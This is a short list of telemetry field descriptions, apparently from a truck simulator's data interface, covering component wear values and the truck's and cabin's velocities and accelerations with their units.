Wear of the transmission accessory as <0;1>
Wear of the cabin accessory as <0;1>
Wear of the chassis accessory as <0;1>
Average wear across the wheel accessory as <0;1>
Represents vehicle space linear velocity of the truck measured in m/s
Represents vehicle space angular velocity of the truck measured in rotations/s
Represents vehicle space linear acceleration of the truck measured in m/s^2
Represents vehicle space angular acceleration of the truck measured in rotations/s^2
Represents cabin space angular velocity of the cabin measured in rotation/s
Represents cabin space angular acceleration of the cabin measured in rotations/s^2